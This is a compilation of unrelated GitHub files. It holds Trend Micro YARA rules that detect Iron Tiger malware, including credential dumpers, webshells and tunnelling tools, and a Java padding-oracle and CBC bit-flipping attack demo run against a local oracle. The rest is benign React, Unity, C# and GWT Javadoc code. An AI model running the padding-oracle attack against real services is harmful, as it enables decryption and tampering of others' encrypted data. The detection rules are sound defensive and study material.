author = "Cyber Safety Solutions, Trend Micro"
description = "ASPXSpy detection. It might be used by other fraudsters"
reference = "http://goo.gl/T5fSJC"
strings:
$str2 = "IIS Spy" wide ascii
$str3 = "protected void DGCoW(object sender,EventArgs e)" nocase wide ascii
condition:
any of ($str*)
}
rule IronTiger_ChangePort_Toolkit_driversinstall
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - Changeport Toolkit driverinstall"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "openmydoor" nocase wide ascii
$str2 = "Install service error" nocase wide ascii
$str3 = "start remove service" nocase wide ascii
$str4 = "NdisVersion" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (2 of ($str*))
}
rule IronTiger_ChangePort_Toolkit_ChangePortExe
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - Toolkit ChangePort"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "Unable to alloc the adapter!" nocase wide ascii
$str2 = "Wait for master fuck" nocase wide ascii
$str3 = "xx.exe <HOST> <PORT>" nocase wide ascii
$str4 = "chkroot2007" nocase wide ascii
$str5 = "Door is bind on %s" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (2 of ($str*))
}
rule IronTiger_dllshellexc2010
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "dllshellexc2010 Exchange backdoor + remote shell"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "Microsoft.Exchange.Clients.Auth.dll" nocase ascii wide
$str2 = "Dllshellexc2010" nocase wide ascii
$str3 = "Users\\ljw\\Documents" nocase wide ascii
$bla1 = "please input path" nocase wide ascii
$bla2 = "auth.owa" nocase wide ascii
condition:
(uint16(0) == 0x5a4d) and ((any of ($str*)) or (all of ($bla*)))
}
rule IronTiger_dnstunnel
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "This rule detects a dns tunnel tool used in Operation Iron Tiger"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "\\DnsTunClient\\" nocase wide ascii
$str2 = "\\t-DNSTunnel\\" nocase wide ascii
$str3 = "xssok.blogspot" nocase wide ascii
$str4 = "dnstunclient" nocase wide ascii
$mistake1 = "because of error, can not analysis" nocase wide ascii
$mistake2 = "can not deal witn the error" nocase wide ascii
$mistake3 = "the other retun one RST" nocase wide ascii
$mistake4 = "Coversation produce one error" nocase wide ascii
$mistake5 = "Program try to use the have deleted the buffer" nocase wide ascii
condition:
(uint16(0) == 0x5a4d) and ((any of ($str*)) or (any of ($mistake*)))
}
rule IronTiger_EFH3_encoder
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger EFH3 Encoder"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "EFH3 [HEX] [SRCFILE] [DSTFILE]" nocase wide ascii
$str2 = "123.EXE 123.EFH" nocase wide ascii
$str3 = "ENCODER: b[i]: = " nocase wide ascii
condition:
uint16(0) == 0x5a4d and (any of ($str*))
}
rule IronTiger_GetPassword_x64
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - GetPassword x64"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "(LUID ERROR)" nocase wide ascii
$str2 = "Users\\K8team\\Desktop\\GetPassword" nocase wide ascii
$str3 = "Debug x64\\GetPassword.pdb" nocase wide ascii
$bla1 = "Authentication Package:" nocase wide ascii
$bla2 = "Authentication Domain:" nocase wide ascii
$bla3 = "* Password:" nocase wide ascii
$bla4 = "Primary User:" nocase wide ascii
condition:
uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
}
rule IronTiger_Gh0stRAT_variant
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "This is a detection for a s.exe variant seen in Op. Iron Tiger"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "Game Over Good Luck By Wind" nocase wide ascii
$str2 = "ReleiceName" nocase wide ascii
$str3 = "jingtisanmenxiachuanxiao.vbs" nocase wide ascii
$str4 = "Winds Update" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (any of ($str*))
and not filename == "UpdateSystemMib.exe"
}
rule IronTiger_GTalk_Trojan
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - GTalk Trojan"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "gtalklite.com" nocase wide ascii
$str2 = "computer=%s&lanip=%s&uid=%s&os=%s&data=%s" nocase wide ascii
$str3 = "D13idmAdm" nocase wide ascii
$str4 = "Error: PeekNamedPipe failed with %i" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (2 of ($str*))
}
rule IronTiger_HTTPBrowser_Dropper
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - HTTPBrowser Dropper"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = ".dllUT" nocase wide ascii
$str2 = ".exeUT" nocase wide ascii
$str3 = ".urlUT" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (2 of ($str*))
}
rule IronTiger_HTTP_SOCKS_Proxy_soexe
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Toolset - HTTP SOCKS Proxy soexe"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "listen SOCKET error." nocase wide ascii
$str2 = "WSAAsyncSelect SOCKET error." nocase wide ascii
$str3 = "new SOCKETINFO error!" nocase wide ascii
$str4 = "Http/1.1 403 Forbidden" nocase wide ascii
$str5 = "Create SOCKET error." nocase wide ascii
condition:
uint16(0) == 0x5a4d and (3 of ($str*))
}
rule IronTiger_NBDDos_Gh0stvariant_dropper
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - NBDDos Gh0stvariant Dropper"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "This service can't be stoped." nocase wide ascii
$str2 = "Provides support for media palyer" nocase wide ascii
$str4 = "CreaetProcess Error" nocase wide ascii
$bla1 = "Kill You" nocase wide ascii
$bla2 = "%4.2f GB" nocase wide ascii
condition:
uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
}
rule IronTiger_PlugX_DosEmulator
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - PlugX DosEmulator"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "Dos Emluator Ver" nocase wide ascii
$str2 = "\\PIPE\\FASTDOS" nocase wide ascii
$str3 = "FastDos.cpp" nocase wide ascii
$str4 = "fail,error code = %d." nocase wide ascii
condition:
uint16(0) == 0x5a4d and (any of ($str*))
}
rule IronTiger_PlugX_FastProxy
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - PlugX FastProxy"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "SAFEPROXY HTServerTimer Quit!" nocase wide ascii
$str2 = "Useage: %s pid" nocase wide ascii
$str3 = "%s PORT[%d] TO PORT[%d] SUCCESS!" nocase wide ascii
$str4 = "p0: port for listener" nocase wide ascii
$str5 = "\\users\\whg\\desktop\\plug\\" nocase wide ascii
$str6 = "[+Y] cwnd : %3d, fligth:" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (any of ($str*))
}
rule IronTiger_PlugX_Server
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - PlugX Server"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "\\UnitFrmManagerKeyLog.pas" nocase wide ascii
$str2 = "\\UnitFrmManagerRegister.pas" nocase wide ascii
$str3 = "Input Name..." nocase wide ascii
$str4 = "New Value#" nocase wide ascii
$str5 = "TThreadRControl.Execute SEH!!!" nocase wide ascii
$str6 = "\\UnitFrmRControl.pas" nocase wide ascii
$str7 = "OnSocket(event is error)!" nocase wide ascii
$str8 = "Make 3F Version Ok!!!" nocase wide ascii
$str9 = "PELEASE DO NOT CHANGE THE DOCAMENT" nocase wide ascii
$str10 = "Press [Ok] Continue Run, Press [Cancel] Exit" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (2 of ($str*))
}
rule IronTiger_ReadPWD86
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - ReadPWD86"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "Fail To Load LSASRV" nocase wide ascii
$str2 = "Fail To Search LSASS Data" nocase wide ascii
$str3 = "User Principal" nocase wide ascii
condition:
uint16(0) == 0x5a4d and (all of ($str*))
}
rule IronTiger_Ring_Gh0stvariant
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Malware - Ring Gh0stvariant"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "RING RAT Exception" nocase wide ascii
$str2 = "(can not update server recently)!" nocase wide ascii
$str4 = "CreaetProcess Error" nocase wide ascii
$bla1 = "Sucess!" nocase wide ascii
$bla2 = "user canceled!" nocase wide ascii
condition:
uint16(0) == 0x5a4d and ((any of ($str*)) or (all of ($bla*)))
}
rule IronTiger_wmiexec
{
meta:
author = "Cyber Safety Solutions, Trend Micro"
description = "Iron Tiger Tool - wmi.vbs detection"
reference = "http://goo.gl/T5fSJC"
strings:
$str1 = "Temp Result File , Change it to where you like" nocase wide ascii
$str2 = "wmiexec" nocase wide ascii
$str3 = "By. Twi1ight" nocase wide ascii
$str4 = "[both mode] ,delay TIME to read result" nocase wide ascii
$str5 = "such as nc.exe or Trojan" nocase wide ascii
$str6 = "+++shell mode+++" nocase wide ascii
$str7 = "win2008 fso has no privilege to delete file" nocase wide ascii
condition:
2 of ($str*)
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<link rel="shortcut icon" href="%PUBLIC_URL%/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="theme-color" content="#000000">
<!--
manifest.json provides metadata used when your web app is added to the
homescreen on Android. See https://developers.google.com/web/fundamentals/web-app-manifest/
-->
<link rel="manifest" href="%PUBLIC_URL%/manifest.json">
<!--
Notice the use of %PUBLIC_URL% in the tags above.
It will be replaced with the URL of the `public` folder during the build.
Only files inside the `public` folder can be referenced from the HTML.
Unlike "/favicon.ico" or "favicon.ico", "%PUBLIC_URL%/favicon.ico" will
work correctly both with client-side routing and a non-root public URL.
Learn how to configure a non-root public URL by running `npm run build`.
-->
<title>React App</title>
</head>
<body>
<noscript>
You need to enable JavaScript to run this app.
</noscript>
<div id="root"></div>
<!--
This HTML file is a template.
If you open it directly in the browser, you will see an empty page.
You can add webfonts, meta tags, or analytics to this file.
The build step will place the bundled scripts into the <body> tag.
To begin the development, run `npm start` or `yarn start`.
To create a production bundle, use `npm run build` or `yarn build`.
-->
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
package com.threedr3am.bug.paddingoraclecbc;
import com.vip.vjtools.vjkit.security.CryptoUtil;
import com.vip.vjtools.vjkit.text.EncodeUtil;
import java.util.Arrays;
import java.util.function.Predicate;
/**
* padding oracle java实现(多组密文实现)
*
* todo 用于利用padding oracle爆破出原文
*
* @author threedr3am
*/
public class PaddingOracle {
public static void main(String[] args) {
//aes iv
String aesIv = "BSiv194+mpLpYJDOsuuBYA==";
//aes key
String aesKey = "e/ACMnCbFqab+v/cCIv3gA==";
//原文
String plain = "1dmin1dmin1dmin1dmin1dmin1dmin1dmin1dmin";
//cbc攻击,最后期望服务器解密出的结果
String cbcRes = "adminadminadminadminadminadminadminadmin";
//密文bytes
byte[] cryptTextBytes = CryptoUtil.aesEncrypt(plain.getBytes(), EncodeUtil.decodeBase64(aesKey), EncodeUtil.decodeBase64(aesIv));
//aes iv bytes
byte[] ivBytes = EncodeUtil.decodeBase64(aesIv);
String paddingPlain = paddingOracle(cryptTextBytes, ivBytes, cbcRes.getBytes(), data -> {
//前16bytes是iv
byte[] ivTmp = Arrays.copyOfRange(data, 0, 16);
//后16bytes是密文
byte[] cryptTmp = Arrays.copyOfRange(data, 16, 32);
try {
CryptoUtil
.aesDecrypt(cryptTmp, EncodeUtil.decodeBase64(aesKey), ivTmp);
return true;
} catch (Exception e) {
return false;
}
});
}
private static String paddingOracle(byte[] cryptText, byte[] ivBytes, byte[] cbcResBytes, Predicate<byte[]> predicate) {
byte[] middles = new byte[cryptText.length];
byte[] data = new byte[ivBytes.length + cryptText.length];
System.arraycopy(ivBytes, 0, data, 0, ivBytes.length);
System.arraycopy(cryptText, 0, data, ivBytes.length, cryptText.length);
int group = cryptText.length / 16;
byte[] plainBytes = new byte[cryptText.length];
//padding oracle attack
for (int i = group - 1; i >= 0; i--) {
byte[] iv = Arrays.copyOfRange(data, i * 16, i * 16 + 16);
byte[] crypt = Arrays.copyOfRange(data, (i + 1) * 16, (i + 1) * 16 + 16);
byte[] middle = paddingOracle(iv, crypt, predicate);
System.arraycopy(middle, 0, middles, i * 16, 16);
byte[] res = generatePlain(iv, middle);
System.arraycopy(res, 0, plainBytes, i * 16, res.length);
res = unpadding(res);
System.out.println("[plain]:" + new String(res));
}
byte[] tmp = Arrays.copyOf(plainBytes, plainBytes.length);
String plain = new String(unpadding(tmp));
System.out.println("[final-plain]:" + plain);
return plain;
}
/**
* unpadding
*
* @param res
* @return
*/
private static byte[] unpadding(byte[] res) {
int end = res[res.length - 1];
if (end > 0 && end <= 16) {
for (int i = 1; i <= end; i++) {
if (res[res.length - i] != end)
break;
}
for (int i = 1; i <= end; i++) {
res[res.length - i] = ' ';
}
}
return res;
}
/**
* 原来的iv ^ middle = plain
* 构造新的iv ^ middle = 'admin' -> 新的iv = middle ^ 'admin'
*
*
*
* @param iv
* @param cryptText
* @param cbcResBytesForPadding
* @param plainBytes
* @return
*/
private static byte[] cbcAttack(byte[] iv, byte[] cryptText, byte[] cbcResBytesForPadding,
byte[] plainBytes) {
byte[] cbcTmp = new byte[iv.length + cbcResBytesForPadding.length];
System.arraycopy(iv, 0, cbcTmp, 0, iv.length);
System.arraycopy(cbcResBytesForPadding, 0, cbcTmp, iv.length, cbcResBytesForPadding.length);
byte[] plainTmp = new byte[iv.length + plainBytes.length];
System.arraycopy(iv, 0, plainTmp, 0, iv.length);
System.arraycopy(plainBytes, 0, plainTmp, iv.length, plainBytes.length);
byte[] cryptTmp = new byte[iv.length + cryptText.length];
System.arraycopy(iv, 0, cryptTmp, 0, iv.length);
System.arraycopy(cryptText, 0, cryptTmp, iv.length, cryptText.length);
for (int i = cbcTmp.length - 1; i >= 16; i--) {
if (cbcTmp[i] != plainTmp[i]) {
cryptTmp[i - 16] = (byte) (cryptTmp[i - 16] ^ plainTmp[i] ^ cbcTmp[i]);
}
}
return cryptTmp;
}
/**
* cbc前需要对数据进行填充至16*n,填充规则,最后一组16bytes数据,缺多少位(例如:6),则填充6个0x06
*
* @param cbcResBytes 需要填充的cbc翻转的数据
* @return 填充后的数据,可以直接用于cbc翻转攻击
*/
private static byte[] padding(byte[] cbcResBytes) {
//计算需要填充的位数
int padding = 16 - cbcResBytes.length % 16;
byte[] cbcResBytesForPadding = new byte[cbcResBytes.length + padding];
for (int i = 0; i < cbcResBytes.length; i++) {
cbcResBytesForPadding[i] = cbcResBytes[i];
}
//填充
for (int i = 1; i <= padding; i++) {
cbcResBytesForPadding[cbcResBytesForPadding.length - i] = (byte) padding;
}
return cbcResBytesForPadding;
}
/**
* 与原iv异或,生成原文
* 原来的iv ^ middle = plain
*
* @param ivBytesOld
* @param middles
* @return
*/
private static byte[] generatePlain(byte[] ivBytesOld, byte[] middles) {
byte[] res = new byte[ivBytesOld.length];
for (int i = 0; i < ivBytesOld.length; i++) {
res[i] = (byte) (ivBytesOld[i] ^ middles[i]);
}
return res;
}
/**
* padding oracle 核心方法
*
* @param iv
* @param crypt
* @param predicate 该对象test方法用于校验是否正确,多数为调用远程服务器提交数据,根据返回来确定解密后的异或结果是否符合规则
* @return 这一组数据的middle
*/
private static byte[] paddingOracle(byte[] iv, byte[] crypt, Predicate<byte[]> predicate) {
byte[] data = new byte[iv.length+crypt.length];
System.arraycopy(iv, 0, data, 0, iv.length);
System.arraycopy(crypt, 0, data, iv.length, crypt.length);
byte[] middle = new byte[16];
//用于填充的tmp值,第一轮为0x01第二轮为0x02以此类推
byte tmp = 1;
for (int i = 15; i >= 0; i--) {
for (int j = 0; j < 256; j++) {
data[i] = (byte) j;
for (int k = 15; k > i; k--) {
//爆破倒数第一位时不需要填充,倒数第二位时填充其后的iv为0x02,倒数第三位时填充其后的iv为0x03,以此类推
data[k] = (byte) (middle[k] ^ tmp);
}
//解密返回true即正确
if (predicate.test(data)) {
//爆破倒数第一位的解密结果为0x01,第二位为0x02,以此类推,那么middle = iv ^ plain
byte m = (byte) (j ^ tmp);
middle[i] = m;
// break;
}
}
tmp++;
}
System.out.print("[middle]:");
for (int i = 0; i < middle.length; i++) {
System.out.print((0xff & middle[i]));
if (i != middle.length - 1) {
System.out.print(",");
}
}
System.out.println();
return middle;
}
}
|
{
"pile_set_name": "Github"
}
|
import { LightningElement } from 'lwc';
export default class ErrorChild extends LightningElement {
throwError() {
throw new Error();
}
}
|
{
"pile_set_name": "Github"
}
|
//-------------------------------------------------
// NGUI: Next-Gen UI kit
// Copyright © 2011-2017 Tasharen Entertainment Inc
//-------------------------------------------------
using UnityEngine;
using System.Collections.Generic;
/// <summary>
/// Very simple sprite animation. Attach to a sprite and specify a common prefix such as "idle" and it will cycle through them.
/// </summary>
[ExecuteInEditMode]
[RequireComponent(typeof(UISprite))]
[AddComponentMenu("NGUI/UI/Sprite Animation")]
public class UISpriteAnimation : MonoBehaviour
{
/// <summary>
/// Index of the current frame in the sprite animation.
/// </summary>
public int frameIndex = 0;
[HideInInspector][SerializeField] protected int mFPS = 30;
[HideInInspector][SerializeField] protected string mPrefix = "";
[HideInInspector][SerializeField] protected bool mLoop = true;
[HideInInspector][SerializeField] protected bool mSnap = true;
protected UISprite mSprite;
protected float mDelta = 0f;
protected bool mActive = true;
protected List<string> mSpriteNames = new List<string>();
/// <summary>
/// Number of frames in the animation.
/// </summary>
public int frames { get { return mSpriteNames.Count; } }
/// <summary>
/// Animation framerate.
/// </summary>
public int framesPerSecond { get { return mFPS; } set { mFPS = value; } }
/// <summary>
/// Set the name prefix used to filter sprites from the atlas.
/// </summary>
public string namePrefix { get { return mPrefix; } set { if (mPrefix != value) { mPrefix = value; RebuildSpriteList(); } } }
/// <summary>
/// Set the animation to be looping or not
/// </summary>
public bool loop { get { return mLoop; } set { mLoop = value; } }
/// <summary>
/// Returns is the animation is still playing or not
/// </summary>
public bool isPlaying { get { return mActive; } }
/// <summary>
/// Rebuild the sprite list first thing.
/// </summary>
protected virtual void Start () { RebuildSpriteList(); }
/// <summary>
/// Advance the sprite animation process.
/// </summary>
protected virtual void Update ()
{
if (mActive && mSpriteNames.Count > 1 && Application.isPlaying && mFPS > 0)
{
mDelta += Mathf.Min(1f, RealTime.deltaTime);
float rate = 1f / mFPS;
while (rate < mDelta)
{
mDelta = (rate > 0f) ? mDelta - rate : 0f;
if (++frameIndex >= mSpriteNames.Count)
{
frameIndex = 0;
mActive = mLoop;
}
if (mActive)
{
mSprite.spriteName = mSpriteNames[frameIndex];
if (mSnap) mSprite.MakePixelPerfect();
}
}
}
}
/// <summary>
/// Rebuild the sprite list after changing the sprite name.
/// </summary>
public void RebuildSpriteList ()
{
if (mSprite == null) mSprite = GetComponent<UISprite>();
mSpriteNames.Clear();
if (mSprite != null && mSprite.atlas != null)
{
List<UISpriteData> sprites = mSprite.atlas.spriteList;
for (int i = 0, imax = sprites.Count; i < imax; ++i)
{
UISpriteData sprite = sprites[i];
if (string.IsNullOrEmpty(mPrefix) || sprite.name.StartsWith(mPrefix))
{
mSpriteNames.Add(sprite.name);
}
}
mSpriteNames.Sort();
}
}
/// <summary>
/// Reset the animation to the beginning.
/// </summary>
public void Play () { mActive = true; }
/// <summary>
/// Pause the animation.
/// </summary>
public void Pause () { mActive = false; }
/// <summary>
/// Reset the animation to frame 0 and activate it.
/// </summary>
public void ResetToBeginning ()
{
mActive = true;
frameIndex = 0;
if (mSprite != null && mSpriteNames.Count > 0)
{
mSprite.spriteName = mSpriteNames[frameIndex];
if (mSnap) mSprite.MakePixelPerfect();
}
}
}
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DevAudit.AuditLibrary
{
public class ScriptEnvironment
{
#region Constructors
public ScriptEnvironment(LocalEnvironment host_env)
{
this.HostEnvironment = host_env;
}
#endregion
#region Events
public event EventHandler<EnvironmentEventArgs> MessageHandler;
#endregion
#region Public properties
private LocalEnvironment HostEnvironment { get; set; }
public bool IsWindows => this.HostEnvironment.IsWindows;
public bool IsUnix => this.HostEnvironment.IsUnix;
#endregion
#region Public methods
public void Message(EventMessageType message_type, string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(message_type, message_format, message));
}
public void Info(string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(EventMessageType.INFO, message_format, message));
}
public void Error(string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(EventMessageType.ERROR, message_format, message));
}
internal void Error(CallerInformation caller, string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(caller, EventMessageType.ERROR, message_format, message));
}
public void Error(Exception e)
{
OnMessage(new EnvironmentEventArgs(EventMessageType.ERROR, "Exception: {0} at {1}.",
new object[2] { e.Message, e.StackTrace }));
}
public void Debug(CallerInformation caller, string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(caller, EventMessageType.DEBUG, message_format, message));
}
public void Debug(string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(EventMessageType.DEBUG, message_format, message));
}
internal void Success(string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(EventMessageType.SUCCESS, message_format, message));
}
internal void Warning(string message_format, params object[] message)
{
OnMessage(new EnvironmentEventArgs(EventMessageType.WARNING, message_format, message));
}
#endregion
#region Protected methods
protected virtual void OnMessage(EnvironmentEventArgs e)
{
lock (script_message_lock)
{
MessageHandler?.Invoke(this, e);
}
}
#endregion
#region Private fields
public object script_message_lock = new object();
#endregion
}
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc -->
<title>CustomScrollPanel (GWT Javadoc)</title>
<link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="CustomScrollPanel (GWT Javadoc)";
}
}
catch(err) {
}
//-->
var methods = {"i0":10,"i1":10,"i2":10,"i3":10,"i4":10,"i5":10,"i6":10,"i7":10,"i8":10,"i9":10,"i10":10,"i11":10,"i12":10,"i13":10,"i14":10,"i15":10};
var tabs = {65535:["t0","All Methods"],2:["t2","Instance Methods"],8:["t4","Concrete Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/CustomScrollPanel.html">Use</a></li>
<li><a href="../../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../../help-doc.html">Help</a></li>
</ul>
<div class="aboutLanguage">GWT 2.9.0</div>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../../com/google/gwt/user/client/ui/CustomButton.Face.html" title="class in com.google.gwt.user.client.ui"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../../com/google/gwt/user/client/ui/CustomScrollPanel.Resources.html" title="interface in com.google.gwt.user.client.ui"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../../index.html?com/google/gwt/user/client/ui/CustomScrollPanel.html" target="_top">Frames</a></li>
<li><a href="CustomScrollPanel.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li><a href="#fields.inherited.from.class.com.google.gwt.user.client.ui.SimplePanel">Field</a> | </li>
<li><a href="#constructor.summary">Constr</a> | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor.detail">Constr</a> | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">com.google.gwt.user.client.ui</div>
<h2 title="Class CustomScrollPanel" class="title">Class CustomScrollPanel</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li><a href="../../../../../../com/google/gwt/user/client/ui/UIObject.html" title="class in com.google.gwt.user.client.ui">com.google.gwt.user.client.ui.UIObject</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">com.google.gwt.user.client.ui.Widget</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../../com/google/gwt/user/client/ui/Panel.html" title="class in com.google.gwt.user.client.ui">com.google.gwt.user.client.ui.Panel</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../../com/google/gwt/user/client/ui/SimplePanel.html" title="class in com.google.gwt.user.client.ui">com.google.gwt.user.client.ui.SimplePanel</a></li>
<li>
<ul class="inheritance">
<li><a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">com.google.gwt.user.client.ui.ScrollPanel</a></li>
<li>
<ul class="inheritance">
<li>com.google.gwt.user.client.ui.CustomScrollPanel</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd><a href="../../../../../../com/google/gwt/event/dom/client/HasScrollHandlers.html" title="interface in com.google.gwt.event.dom.client">HasScrollHandlers</a>, <a href="../../../../../../com/google/gwt/event/logical/shared/HasAttachHandlers.html" title="interface in com.google.gwt.event.logical.shared">HasAttachHandlers</a>, <a href="../../../../../../com/google/gwt/event/shared/HasHandlers.html" title="interface in com.google.gwt.event.shared">HasHandlers</a>, <a href="../../../../../../com/google/gwt/user/client/EventListener.html" title="interface in com.google.gwt.user.client">EventListener</a>, <a href="../../../../../../com/google/gwt/user/client/ui/AcceptsOneWidget.html" title="interface in com.google.gwt.user.client.ui">AcceptsOneWidget</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasHorizontalScrolling.html" title="interface in com.google.gwt.user.client.ui">HasHorizontalScrolling</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasOneWidget.html" title="interface in com.google.gwt.user.client.ui">HasOneWidget</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasScrolling.html" title="interface in com.google.gwt.user.client.ui">HasScrolling</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasVerticalScrolling.html" title="interface in com.google.gwt.user.client.ui">HasVerticalScrolling</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasVisibility.html" title="interface in com.google.gwt.user.client.ui">HasVisibility</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasWidgets.html" title="interface in com.google.gwt.user.client.ui">HasWidgets</a>, <a href="../../../../../../com/google/gwt/user/client/ui/HasWidgets.ForIsWidget.html" title="interface in com.google.gwt.user.client.ui">HasWidgets.ForIsWidget</a>, <a href="../../../../../../com/google/gwt/user/client/ui/IsWidget.html" title="interface in com.google.gwt.user.client.ui">IsWidget</a>, <a href="../../../../../../com/google/gwt/user/client/ui/ProvidesResize.html" title="interface in com.google.gwt.user.client.ui">ProvidesResize</a>, <a href="../../../../../../com/google/gwt/user/client/ui/RequiresResize.html" title="interface in com.google.gwt.user.client.ui">RequiresResize</a>, <a href="../../../../../../com/google/gwt/user/client/ui/SourcesScrollEvents.html" title="interface in com.google.gwt.user.client.ui">SourcesScrollEvents</a>, java.lang.Iterable<<a href="../../../../../../com/google/gwt/user/client/ui/Widget.html" title="class in com.google.gwt.user.client.ui">Widget</a>></dd>
</dl>
<hr>
<br>
<pre>public class <span class="typeNameLabel">CustomScrollPanel</span>
extends <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui">ScrollPanel</a></pre>
<div class="block">A custom version of the <a href="../../../../../../com/google/gwt/user/client/ui/ScrollPanel.html" title="class in com.google.gwt.user.client.ui"><code>ScrollPanel</code></a> that allows user provided
scrollbars.
<p>
